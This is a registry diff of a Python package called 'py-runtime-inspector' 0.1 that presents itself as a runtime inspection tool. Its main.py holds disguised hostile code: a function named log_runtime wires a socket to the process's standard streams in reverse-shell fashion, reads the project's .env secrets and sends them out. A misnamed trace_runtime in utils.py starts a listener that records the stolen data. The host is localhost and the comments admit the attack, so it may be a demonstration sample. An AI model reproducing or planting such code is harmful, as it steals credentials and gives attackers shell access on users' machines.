py-runtime-inspector 0.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1 @@
1
+ from .main import inspect_runtime
@@ -0,0 +1,2 @@
1
+ PORT = 4444
2
+ IPV4 = '127.0.0.1'
@@ -0,0 +1,57 @@
1
+ from constants import IPV4, PORT
2
+ from utils import trace_runtime
3
+ import socket
4
+ import time
5
+ import os
6
+ import subprocess
7
+
8
+ def extract_env(result: str):
9
+ """
10
+ This function searches for .env file in the project folder and extracts it
11
+ """
12
+
13
+ EX = "print(open('.env').read())"
14
+
15
+ lines = result.splitlines()
16
+ for l in lines:
17
+ vars = l.split(' ')
18
+ if vars[-1] == '.env':
19
+ env_dets = subprocess.run(
20
+ ['python', '-c', EX],
21
+ capture_output = True,
22
+ text= True
23
+ )
24
+ return env_dets.stdout
25
+ return "No .env found."
26
+
27
+
28
+ def log_runtime():
29
+ """
30
+ This function, though called log_runtime, conducts a reverse shell attack on address IPV4 and port PORT
31
+ """
32
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33
+ s.connect((IPV4, PORT))
34
+ os.dup2(s.fileno(), 0) # stdin
35
+ os.dup2(s.fileno(), 1) # stdout
36
+ os.dup2(s.fileno(), 2) # stderr
37
+
38
+ result = subprocess.run(
39
+ "/bin/sh -c 'ls -la; pwd'",
40
+ shell=True,
41
+ capture_output=True,
42
+ text=True
43
+ )
44
+
45
+ env_details = extract_env(result.stdout)
46
+ s.sendall(env_details.encode())
47
+ s.close()
48
+
49
+
50
+ def inspect_runtime():
51
+ print(f"Starting server at {IPV4}, port {PORT}")
52
+ trace_runtime()
53
+ time.sleep(3)
54
+ log_runtime()
55
+
56
+ if __name__ == '__main__':
57
+ inspect_runtime()
@@ -0,0 +1,37 @@
1
+ import threading
2
+ import socket
3
+ import json
4
+ from constants import PORT, IPV4
5
+
6
+ def start_server(stop_server: threading.Event):
7
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
9
+ s.bind((IPV4, PORT))
10
+ s.listen(5)
11
+ s.settimeout(1.0)
12
+
13
+ with open('server_messages.jsonl', 'a') as f: # 'a' to append across runs, 'w' to start fresh each time
14
+ while not stop_server.is_set():
15
+ try:
16
+ conn, addr = s.accept()
17
+ data = conn.recv(1024).decode()
18
+ entry = {'env_details' : data}
19
+ f.write(json.dumps(entry) + '\n')
20
+ f.flush()
21
+ conn.close()
22
+ except socket.timeout:
23
+ continue
24
+
25
+ s.close()
26
+
27
+ def trace_runtime() -> None:
28
+ """
29
+ This function, though called trace_runtime, actually starts the server ip IPV4 and on port PORT
30
+ """
31
+ stop_server = threading.Event()
32
+
33
+ with open('server_messages.jsonl', 'w') as f:
34
+ pass
35
+
36
+ server_thread = threading.Thread(target=start_server, args=(stop_server,), daemon=True)
37
+ server_thread.start()
@@ -0,0 +1,3 @@
1
+ Metadata-Version: 2.4
2
+ Name: py_runtime_inspector
3
+ Version: 0.1
@@ -0,0 +1,8 @@
1
+ py_runtime_inspector/__init__.py,sha256=LXuQT8dHWKrbyas9V_ipCc3h4U_wOof45NsuHu_khVA,33
2
+ py_runtime_inspector/constants.py,sha256=Zyff3xJNSkS9BdQYCDHx2qRPniFNGdqkOgw0-QTvEO0,30
3
+ py_runtime_inspector/main.py,sha256=aSn8SzmbxxiIfR1rrQU1Cho87mDEH7BB8OD-Ly-sMtU,1380
4
+ py_runtime_inspector/utils.py,sha256=7QLrJB4PxHo8tBXi-KQlSn3wnT0qxJVijk_nwIgDkt8,1152
5
+ py_runtime_inspector-0.1.dist-info/METADATA,sha256=w2Wl3CUVxgmKP09TYPXVhztOOXsrvJOhcIgwZSBPBjM,62
6
+ py_runtime_inspector-0.1.dist-info/WHEEL,sha256=aeYiig01lYGDzBgS8HxWXOg3uV61G9ijOsup-k9o1sk,91
7
+ py_runtime_inspector-0.1.dist-info/top_level.txt,sha256=_5tzHuryEJa5S6X--DPmVWSj6lrmmBrmLyQR8BsgRRg,21
8
+ py_runtime_inspector-0.1.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (82.0.1)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1 @@
1
+ py_runtime_inspector